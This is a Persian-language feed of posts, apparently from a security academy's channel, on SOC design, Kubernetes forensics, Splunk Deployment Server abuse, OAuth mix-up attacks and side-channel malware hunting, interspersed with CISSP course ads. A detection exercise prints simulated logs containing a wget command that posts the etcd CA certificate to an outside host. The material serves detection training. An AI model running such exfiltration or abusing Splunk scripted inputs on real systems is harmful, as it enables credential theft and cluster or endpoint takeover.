آکادمی آموزش روزبه 📚
27 July 2025 19:16
طراحی SOC های نوین
عبور از دیوار نامرئی؛ استراتژی‌های عملی برای نظارت و امنیت در عصر HTTP/3
ظهور پروتکل HTTP/3 و پروتکل زیربنایی آن، QUIC، نشانگر یک جهش بزرگ در تکامل اینترنت است. این پروتکل‌ها با هدف افزایش چشمگیر سرعت، کاهش تأخیر و بهبود امنیت طراحی شده‌اند. اما همین ویژگی‌هایی که HTTP/3 را قدرتمند می‌سازند، یک چالش بزرگ و بنیادین برای تیم‌های امنیت شبکه، مدیران سیستم و تحلیلگران SOC ایجاد کرده‌اند: از دست رفتن دید و شفافیت (Visibility) در ترافیک شبکه.
راهکارهای عملی برای نظارت و تحلیل
راهکار1: مسدودسازی یا محدودسازی QUIC (رویکرد کوتاه‌مدت)
این یک راهکار فوری اما غیرپایدار است. از آنجایی که QUIC روی پورت UDP/443 کار می‌کند، سازمان‌ها می‌توانند به سادگی ترافیک خروجی روی این پورت را مسدود کنند.
راهکار ۲: تحلیل متادیتا و اثرانگشت ترافیک (Metadata & Fingerprinting)
حتی اگر نتوانید محتوای ترافیک را ببینید، هنوز می‌توانید از متادیتای آن اطلاعات ارزشمندی استخراج کنید.
راهکار ۳: بازرسی درون‌خطی و پراکسی (Inline / Man-in-the-Middle)
این رویکرد مشابه بازرسی TLS سنتی است اما برای QUIC تطبیق داده شده است. یک دستگاه میانی ترافیک را خاتمه داده، بازرسی کرده و مجدداً برقرار می‌کند.
راهکار ۴: نظارت بر روی نقطه پایانی (Endpoint Visibility) - استراتژی کلیدی آینده
این راهکار، پارادایم را از “نظارت بر شبکه” به “نظارت بر جایی که داده تولید و مصرف می‌شود” تغییر می‌دهد. این مؤثرترین راهکار بلندمدت است.
بحث HTTP/3 و QUIC یک چالش جدی اما قابل مدیریت هستند. دوران تکیه صرف بر بازرسی پسیو شبکه به پایان رسیده است. برای حفظ دید و امنیت، سازمان‌ها باید یک ذهنیت جدید را بپذیرند: استراتژی‌ای که ترکیبی هوشمندانه از کنترل‌های مرزی، تحلیل متادیتای شبکه و مهم‌تر از همه، دید عمیق بر روی نقاط پایانی باشد. عبور از دیوار نامرئی QUIC نیازمند ابزارهای جدید و یک رویکرد چندلایه و انعطاف‌پذیر است.
دوره تخصصی CISSP
استفاده از 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
www.haumoun.com
Читать полностью…
آکادمی آموزش روزبه 📚
24 July 2025 14:11
به پایان آمد این دفتر ...
حکایت همچنان باقی
امروز جلسه آخر دوره بهار CISSP
الحمدالله
تمام.
۲ مرداد ماه ۱۴۰۴ تهران
Читать полностью…
آکادمی آموزش روزبه 📚
23 July 2025 18:58
تمرین برای مهندسان کشف
Detection Engineer
I0723 21:12:45.345678 1 audit.go:277] "Request received"
verb="create"
URI="/api/v1/namespaces/default/pods"
user="system:serviceaccount:devops:trusted-app"
sourceIP="192.168.10.239"
2025-07-23 21:13:02.991423 I | etcdserver: request: /v3/kv/range size:829
username=system:serviceaccount:devops:trusted-app
remote=192.168.10.239
I0723 21:13:10.564321 1 audit.go:277] "Create Pod" as "sleep-attack-459f9"
using serviceaccount="trusted-app"
image="busybox"
command="wget http://10.10.10.10/exfil --post-file /etc/kubernetes/pki/etcd/ca.crt"
Jul 23 21:13:15 node-4 kubelet[1217]: Created pod: sleep-attack-459f9 with image busybox
Jul 23 21:14:02 node-4 kubelet[1217]: Deleted pod: sleep-attack-459f9
{
"src_ip": "192.168.10.239",
"dst_ip": "10.10.10.10",
"src_port": 43216,
"dst_port": 80,
"payload_size": "2.3MB",
"timestamp": "2025-07-23T21:13:18Z"
}
حالا فکر کنید به اینکه چه خبره ؟!
ثبت نام دوره آمادگی آزمون CISSP
با 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
#مرکز_تخصصی_CISSP
Читать полностью…
آکادمی آموزش روزبه 📚
22 July 2025 15:55
فارنزیک Kubernetes
بازیابی رد پای حملات، حتی پس از پاک شدن پادها و آبجکت‌ها
وقتی مهاجم وارد کلاستر Kubernetes می‌شود و پس از اجرای payload یا دسترسی، سعی می‌کند آثار حمله‌اش را با حذف podها، secrets یا حتی namespace پاک کند، خیلی‌ها فکر می‌کنند دیگر اثری از نفوذ باقی نمی‌ماند.
اما…
تمام state کلاستر در etcd ذخیره می‌شود و اگر به موقع (و بی‌درنگ) یک snapshot از etcd تهیه شود ، می‌توانیم اطلاعات مربوط به آبجکت‌هایی که مدتی در کلاستر بودند (حتی اگر حذف شده باشند) را در تاریخچه و باقی‌مانده‌های etcd بازیابی و آنالیز کنیم.
مواردی که می‌شود پیداکرد:
موضوع Manifests حذف‌شده (yamlها)، یعنی کدهایی که مهاجم برای استقرار ابزار/ویروسش آورده است.
بحث Secrets، حتی اگر به ظاهر حذف شده باشند، در Snapshot ممکن است همچنان موجود باشد!
و eventها و متادیتاهایی مثل uid، timestamp ساخت و حذف، annotationهای مخفی و…
کاربرد عملی فارنزیک:
بازیابی کانفیگ و secrets بعد از حادثه و قبل از دستکاری کامل توسط مهاجم
مشخص کردن دقیق مسیر و قدم‌های مهاجم (TTPهای حمله)
یافتن شواهدی از ابزارهای یک‌بار مصرف (ephemeral pods)، مثل بات‌نت یا cryptominerهایی که سریع اسپین و حذف می‌شوند.
گاهی حتی بعد از حذف آبجکت‌ها، اثر انگشت (hashها، UIDها و annotationهای auto-generated) تا مدت‌ها به صورت reference در etcd باقی می‌ماند. این، یک شانس طلایی برای فارنزیک کار حرفه‌ای است!
#آکادمی_روزبه
از فرصت های خاص:
ثبت نام دوره حرفه ای CISSP
با تخفیف ۳۰ درصدی شرکت هامون
فقط اشخاص ساکن ایران
www.haumoun.com
واتس اپ و بله ۰۹۹۰۲۸۵۷۲۹۰
Читать полностью…
آکادمی آموزش روزبه 📚
21 July 2025 11:28
#آکادمی_روزبه
09902857290
Www.haumoun.com
Читать полностью…
آکادمی آموزش روزبه 📚
20 July 2025 21:40
دوستانی که علاقمند به سرفصل دوره مدیریت بحران هستند این مستند رو ببینند
یک پنجم دوره در خصوص این مطالب است
البته دوره کارگاه های فنی هم دارد منجمله فارنزیک
در این دوره با آخرین حملات روز ایران و نحوه بحران زدایی آشنا میشوید
Читать полностью…
آکادمی آموزش روزبه 📚
20 July 2025 17:48
نسخه جدید Attack Flow
این Attack Flow به متخصصین کشف کمک می‌کند تا فرآیندهای واقعی حمله را مدل کنند، «فلو»ها را رسم کنند و بهم‌پیوستگی تکنیک‌های مختلف را بهتر درک کنند. این کار باعث می‌شود کشف، دفاع و پاسخ به حملات هدفمند، ساختاریافته‌تر و علمی‌تر انجام شو
#آکادمی_روزبه
https://center-for-threat-informed-defense.github.io/attack-flow/
Читать полностью…
آکادمی آموزش روزبه 📚
20 July 2025 11:36
😢کارشناسان شبکه و امنیت لطفا رزومه بدین تو گوگل ذخیره بشه
داستانی پر تکرار
راستی قشنگ بنویسین تو هر شرکت و سازمان چیو چطور کانفیگ کردین کدوم برند بوده و به چیا اکسس داشتین!!!!!
Читать полностью…
آکادمی آموزش روزبه 📚
19 July 2025 19:01
میدونی لایسنس فایروالت فعال نباشه یا اکسپایر بشه ،ممکنه رولهات کار نکنند و هرچی بستی ، بریزه تو اینترنت !!
لایسنس منجمنت! +اسکن از بیرون یادت نره
#آکادمی_روزبه
Читать полностью…
آکادمی آموزش روزبه 📚
19 July 2025 08:46
بررسی Privacy Impact Rating در طراحی نرم‌افزار ( دوره CISSP) و وضعیت آن در ایران
در دوره CISSP و اصول امنیت اطلاعات، Privacy Impact Rating (PIR) یا «درجه تأثیر بر حریم خصوصی» شاخصی است که مشخص می‌کند یک نرم‌افزار یا سیستم تا چه اندازه ممکن است حریم خصوصی کاربران را تحت تأثیر قرار دهد.
این مساله یکی از مقولاتی از که در ایران بدان توجه نمیشود.
مراحل PIR در طراحی نرم‌افزار:
شناسایی داده‌های حساس:
بررسی اینکه چه داده‌هایی جمع‌آوری و پردازش می‌شود (مثلاً نام، شماره ملی، ایمیل، اطلاعات پزشکی و…).
ارزیابی ریسک:
تحلیل اینکه هر نوع داده چقدر حساس است و اگر به بیرون نشت کند یا سوءاستفاده شود، چه پیامدهایی خواهد داشت.
تعیین درجه تاثیر:
بسته به نوع داده و کاربرد نرم‌افزار، یک رتبه (معمولاً کم، متوسط، بالا یا بالغ‌تر با عدد) برای تأثیر روی حریم خصوصی تعیین می‌شود.
تدوین کنترل‌ها:
بر اساس این ارزیابی، باید کنترل‌های فنی و اجرایی مانند رمزنگاری، دسترسی محدود و لاگ‌گیری را مشخص و اعمال کرد.
هدف PIR کمک به تصمیم‌گیری شفاف درباره طراحی، توسعه و پیاده‌سازی نرم‌افزار با رعایت حقوق خصوصی کاربران است. همچنین لازم است که PIR به روزرسانی شود و در هر تغییر اساسی، مجدداً بررسی شود.
پیامدهای نبود PIR و رعایت‌نکردن حریم خصوصی در ایران
در ایران، به دلایل مختلف (نبود مقررات جدی، ضعف فرهنگ سازمانی، مشکلات تکنیکی، …) معمولاً PIR رعایت نمیشود. این موضوع چند پیامد جدی دارد:
افزایش رخدادهای نقض داده:
داده‌های حساس کاربران مرتباً به بیرون نشت می‌کنند (نمونه: لو رفتن اطلاعات سامانه‌ها یا فروش اطلاعات در اینترنت).
کاهش اعتماد کاربران:
مردم اعتماد خود را به اپلیکیشن‌ها و سرویس‌های ایرانی از دست می‌دهند و ترجیح می‌دهند از نرم‌افزارهای خارجی یا روش‌های آفلاین استفاده کنند.
سوءاستفاده و کلاهبرداری:
شناسایی افراد، جعل هویت، و مقاصد مجرمانه به راحتی اتفاق می‌افتد چون داده‌ها به خوبی حفاظت نشده‌اند.
مشکلات حقوقی و اعتباری برای شرکت‌ها:
شرکت‌ها و سازمان‌ها ممکن است در سطح بین‌المللی اعتبار خود را از دست بدهند یا با تحریم و محرومیت از خدمات روبه‌رو شوند.
عدم تطابق با استانداردهای جهانی:
سازمان‌ها امکان همکاری با بخش بین‌الملل یا ورود به بازارهای جدید را از دست می‌دهند چون نمی‌توانند الزامات بین‌المللی حریم خصوصی (مثل GDPR) را پوشش دهند.
#آکادمی_روزبه
Читать полностью…
آکادمی آموزش روزبه 📚
18 July 2025 09:46
امکان تسخیر شبکه شما از طریق اسپلانک
✍روزبه نوروزی
نفوذ از Splunk Deployment Server به Endpointها امکان‌پذیر است، زیرا مهاجم از قابلیت‌های اصلی و طراحی‌شده‌ی خود سیستم علیه آن استفاده می‌کند، نه لزوماً از یک آسیب‌پذیری نرم‌افزاری.
این حمله بر چهار اصل استوار است:
۱. مدیریت متمرکز: Deployment Server به عنوان یک “نقطه کنترل واحد” عمل می‌کند. تسلط بر آن به معنای تسلط بر تمام کلاینت‌های متصل (Forwarderها) است.
۲. مدل اعتماد: کلاینت‌ها به صورت کورکورانه به دستورات و اپلیکیشن‌هایی که از Deployment Server دریافت می‌کنند، اعتماد و آنها را اجرا می‌کنند.
۳. قابلیت اجرای اسکریپت: Splunk به مدیران اجازه می‌دهد تا اسکریپت‌هایی را روی Endpointها اجرا کنند (قابلیت Scripted Inputs). مهاجم از همین ویژگی قانونی برای اجرای کدهای مخرب خود بهره می‌برد.
۴. دسترسی بالا: از آنجا که Forwarderها معمولاً با دسترسی بالا (root در لینوکس یا SYSTEM در ویندوز) اجرا می‌شوند، اسکریپت مخرب نیز با همین سطح دسترسی اجرا شده و کنترل کامل Endpoint را به مهاجم می‌دهد.
در واقع، این حمله یک سوءاستفاده هوشمندانه از یک ابزار مدیریتی قدرتمند است که در آن، اعتماد و کارایی سیستم به یک ضعف امنیتی تبدیل می‌شود.
راهکار مقابله : حفاظت مؤثر از Deployment server با روش دفاع در عمق
**این روش مختص اسپلانک نیست و هر برنامه ای از این روش در معماری خود استفاده کند شامل این مساله میگردد .
**این روش از تسخیر نیاز به پیش زمینه هایی دارد پس دلیل نمیشود بخواهیم اسپلانک را دارای مشکل بدانیم و اقدام به حذف آن کنیم.
بهتر است همیشه نقطه ضعف و اندازه آنرا بدانیم و برایش راهکار داشته باشیم.
#آکادمی_روزبه
Www.Roozbeh.academy
Читать полностью…
آکادمی آموزش روزبه 📚
16 July 2025 21:46
یک تغییر نگرش ضروری در مهندسی کشف: چرا باید استراتژی شناسایی خود را هوشمندتر کنیم؟
همه‌ی ما که در دنیای امنیت سایبری فعالیت می‌کنیم، با چارچوب MITRE ATT&CK زندگی می‌کنیم. این ماتریس به زبان مشترک ما برای توصیف رفتار مهاجمان تبدیل شده است. اما اغلب، در تلاش برای «پوشش دادن ماتریس»، در انبوهی از تکنیک‌ها و زیرتکنیک‌ها غرق میشویم. رویکرد رایج این است: یک تکنیک را انتخاب کن، برایش یک قانون شناسایی بنویس، و به سراغ بعدی برو. این روش، اگرچه ارزشمند است، اما همیشه کارآمد و پایدار نیست.
اخیراً مقاله‌ای از خود تیم MITRE ATT&CK با عنوان «استراتژی‌های شناسایی هوشمندتر» منتشر شد که به نظرم یک تلنگر اساسی به این رویکرد سنتی می‌زند. نکته‌ی اصلی و جدید این مقاله، نه معرفی یک ابزار یا تکنیک جدید، بلکه ارائه یک مدل ذهنی متفاوت برای ساختن دفاع‌هایمان است؛ مدلی که از پایین به بالا ساخته می‌شود و تمرکز را از «تکنیک‌های خاص» به سمت «فرصت‌های مشاهده‌پذیری» شیفت می‌دهد.
مشکل رویکرد سنتی: دویدن دنبال جزئیات
ادامه و متن کامل مقاله را می‌توانید در پست های بعدی بخوانید
#آکادمی_روزبه
مرکز تخصصی CISSP
https://medium.com/mitre-attack/smarter-detection-strategies-in-attack-7e6738fec31f
Читать полностью…
آکادمی آموزش روزبه 📚
16 July 2025 21:44
دوستانی که فرصت حضور در کلاسهایم را ندارند این منبع را برای خودآموزی داشته باشند
#آکادمی_روزبه
مرکز تخصصی CISSP
https://github.com/S3N4T0R-0X0/APT-Attack-Simulation
Читать полностью…
آکادمی آموزش روزبه 📚
15 July 2025 21:48
شکار بد افزار از طریق کانال‌های جانبی (Side-Channel Analysis): وقتی بدافزار سکوت می‌کند
روزبه نوروزی
هوشمندانه‌ترین بدافزارها می‌دانند که هرگونه فعالیت شبکه‌ای یا تغییر در فایل سیستم، ردپایی از خود به جای می‌گذارد. بنابراین، ممکن است برای مدتی طولانی کاملاً غیرفعال بمانند تا زمانی که یک شرط بسیار خاص (مثلاً اتصال یک USB با شماره سریال مشخص) محقق شود. چطور می‌توان چنین بدافزار خفته‌ای را تحلیل کرد؟
رویکرد من: ما به آنچه بدافزار “انجام می‌دهد” نگاه نمی‌کنیم، بلکه به “اثرات جانبی وجودش” نگاه می‌کنیم.
تحلیل حافظه نهان پردازنده (CPU Cache Analysis): تکنیک‌هایی مانند Flush+Reload به ما اجازه می‌دهند بفهمیم که آیا یک بخش خاص از کد (مثلاً یک تابع در یک DLL سیستمی) توسط یک پروسه دیگر اجرا شده است یا خیر، بدون اینکه نیازی به دیباگ کردن آن پروسه داشته باشیم.
سناریو: ما به یک تابع رمزنگاری در crypt32.dll مشکوک هستیم. ابتدا خطوط کش مربوط به آن تابع را از حافظه نهان CPU پاک می‌کنیم (Flush). سپس منتظر می‌مانیم. بعد از مدتی، دوباره زمان دسترسی به آن خطوط را اندازه‌گیری می‌کنیم (Reload). اگر زمان دسترسی بسیار کم باشد، یعنی پروسه دیگری (بدافزار ما) آن تابع را فراخوانی کرده و آن را دوباره به کش آورده است! ما بدون هیچ API hooking یا دیباگینگ، متوجه فعالیت پنهانی بدافزار شدیم.
#آکادمی_روزبه
مرکز تخصصی CISSP
Читать полностью…
آکادمی آموزش روزبه 📚
12 July 2025 12:12
حمله Mix-Up Attack یکی از حملاتی است که بسیاری از توسعه‌دهندگان و حتی مدیران امنیتی نسبت به آن آگاه نیستند، اما در معماری‌هایی با احراز هویت چندگانه (Multi-Provider OAuth/OIDC) می‌تواند تهدید جدی ایجاد کند.
📌حمله Mix-Up Attack به زبان ساده:
سناریو چیست؟
فرض کنید اپلیکیشن یا سایت شما به چند OAuth Provider وصل می‌شود (مثلاً هم Facebook، هم Google، هم Microsoft برای ورود کاربران). وقتی کاربر روی “ورود با گوگل” کلیک می‌کند، و همزمان Provider دیگری هم در سیستم هست، اگر validation سمت backend درست انجام نشود، امکان دارد یک توکن از Provider A (مثلاً گوگل) را به provider B (مثلاً فیس‌بوک) بدهند—یا عمداً به سرور بیاورند—و سرور شما فقط به وجود یک توکن اکتفا کند و نفهمد این توکن متعلق به Provider درست نیست.
مسیر حمله:
کاربر انتخاب می‌کند وارد سایت شود (مثلاً با Provider A).
مهاجم یا کاربر malicious، جریان OAuth را با Provider B (مورد نظر خودش) انجام می‌دهد اما در Callback پارامتر Redirect را طوری دستکاری می‌کند که توکن Provider B به جای Provider A به سرور شما ارائه شود.
اگر validate سمت سرور بر اساس Issuer (iss claim) و Audience (aud claim) به درستی انجام نشود، سرور Auth شما شاید این توکن را معتبر بپذیرد، در حالی که اصلاً از Provider مورد انتظار‌تر نیامده!
نتیجه چیست؟
ممکن است attacker بتواند با توکن خودش از Provider دیگر وارد اکانت کاربر در سیستم شود (user impersonation).
🔒 چطور جلویش را بگیریم؟
۱. اعتبارسنجی Issuer (iss claim)
در تمام JWTهایی که دریافت می‌کنید، باید مقدار iss (issuer) را چک کنید که دقیقا مال همانی است که کاربر انتخاب کرده (مثلاً https://accounts.google.com، نه چیز دیگر).
۲. بررسی Audience (aud claim)
حتماً مطمئن شوید aud همان Client IDای است که واقعاً مال سرویس شما است و متعلق به Provider صحیح است.
۳. انجامBind کردن state به provider
در پارامتر state (که هنگام ساخت request OAuth استفاده می‌شود) حتماً identifierی از Provider هم قرار بدهید و در callback بررسی کنید که state مربوطه با Provider که callback زده مطابقت دارد.
#آکادمی_روزبه
مرکز تخصصی CISSP
Читать полностью…
3715